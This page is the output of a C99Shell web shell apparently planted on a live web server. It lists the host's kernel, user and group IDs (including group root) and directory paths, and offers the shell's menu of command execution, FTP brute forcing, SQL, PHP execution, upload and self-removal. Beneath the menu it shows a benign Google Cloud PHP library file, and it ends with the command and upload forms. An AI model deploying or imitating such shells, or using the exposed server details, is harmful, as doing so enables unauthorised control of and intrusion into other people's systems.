!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/vendor/google/cloud-core/src/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RequestBuilder.php (4.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright 2016 Google Inc. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace Google\Cloud\Core;

use 
GuzzleHttp\Psr7\Request;
use 
GuzzleHttp\Psr7\Uri;
use 
Psr\Http\Message\RequestInterface;

/**
 * Builds a PSR7 request from a service definition.
 */
class RequestBuilder
{
    use 
JsonTrait;
    use 
UriTrait;

    
/**
     * @var string
     */
    
private $servicePath;

    
/**
     * @var string
     */
    
private $baseUri;

    
/**
     * @var array
     */
    
private $resourceRoot;

    
/**
     * @var array
     */
    
private $service;

    
/**
     * @param string $servicePath
     * @param string $baseUri
     * @param array  $resourceRoot [optional]
     */
    
public function __construct($servicePath$baseUri, array $resourceRoot = [])
    {
        
$this->service $this->loadServiceDefinition($servicePath);
        
$this->resourceRoot $resourceRoot;

        
// Append service definition base path if bare apiEndpoint domain is given.
        
if (isset($this->service['basePath'])) {
            
$uriParts parse_url($baseUri) + ['path' => null];
            if (!
$uriParts['path'] || $uriParts['path'] === '/') {
                
$uriParts['path'] = $this->service['basePath'];

                
// Recreate the URI from its modified parts and ensure it ends in a single slash.
                
$this->baseUri rtrim((string) Uri::fromParts($uriParts), '/') . '/';

                return;
            }
        }

        
$this->baseUri rtrim($baseUri'/') . '/';
    }

    
/**
     * Build the request.
     *
     * @param string $resource
     * @param string $method
     * @param array $options [optional]
     * @return RequestInterface
     * @todo complexity high, revisit
     * @todo consider validating against the schemas
     */
    
public function build($resource$method, array $options = [])
    {
        
$root $this->resourceRoot;

        
array_push($root'resources');
        
$root array_merge($rootexplode('.'$resource));
        
array_push($root'methods'$method);

        
$action $this->service;
        foreach (
$root as $rootItem) {
            if (!isset(
$action[$rootItem])) {
                throw new 
\InvalidArgumentException('Provided path item ' $rootItem ' does not exist.');
            }
            
$action $action[$rootItem];
        }

        
$path = [];
        
$query = [];
        
$body = [];

        if (isset(
$action['parameters'])) {
            foreach (
$action['parameters'] as $parameter => $parameterOptions) {
                if (
$parameterOptions['location'] === 'path' && array_key_exists($parameter$options)) {
                    
$path[$parameter] = $options[$parameter];
                    unset(
$options[$parameter]);
                }

                if (
$parameterOptions['location'] === 'query' && array_key_exists($parameter$options)) {
                    
$query[$parameter] = $options[$parameter];
                }
            }
        }

        if (isset(
$this->service['parameters'])) {
            foreach (
$this->service['parameters'] as $parameter => $parameterOptions) {
                if (
$parameterOptions['location'] === 'query' && array_key_exists($parameter$options)) {
                    
$query[$parameter] = $options[$parameter];
                }
            }
        }

        if (isset(
$action['request'])) {
            
$schema $action['request']['$ref'];

            foreach (
$this->service['schemas'][$schema]['properties'] as $property => $propertyOptions) {
                if (
array_key_exists($property$options)) {
                    
$body[$property] = $options[$property];
                }
            }
        }

        
$uri $this->buildUriWithQuery(
            
$this->expandUri($this->baseUri $action['path'], $path),
            
$query
        
);

        return new 
Request(
            
$action['httpMethod'],
            
$uri,
            [
'Content-Type' => 'application/json'],
            
$body $this->jsonEncode($body) : null
        
);
    }

    
/**
     * @param string $servicePath
     * @return array
     */
    
private function loadServiceDefinition($servicePath)
    {
        return 
$this->jsonDecode(
            
file_get_contents($servicePathtrue),
            
true
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--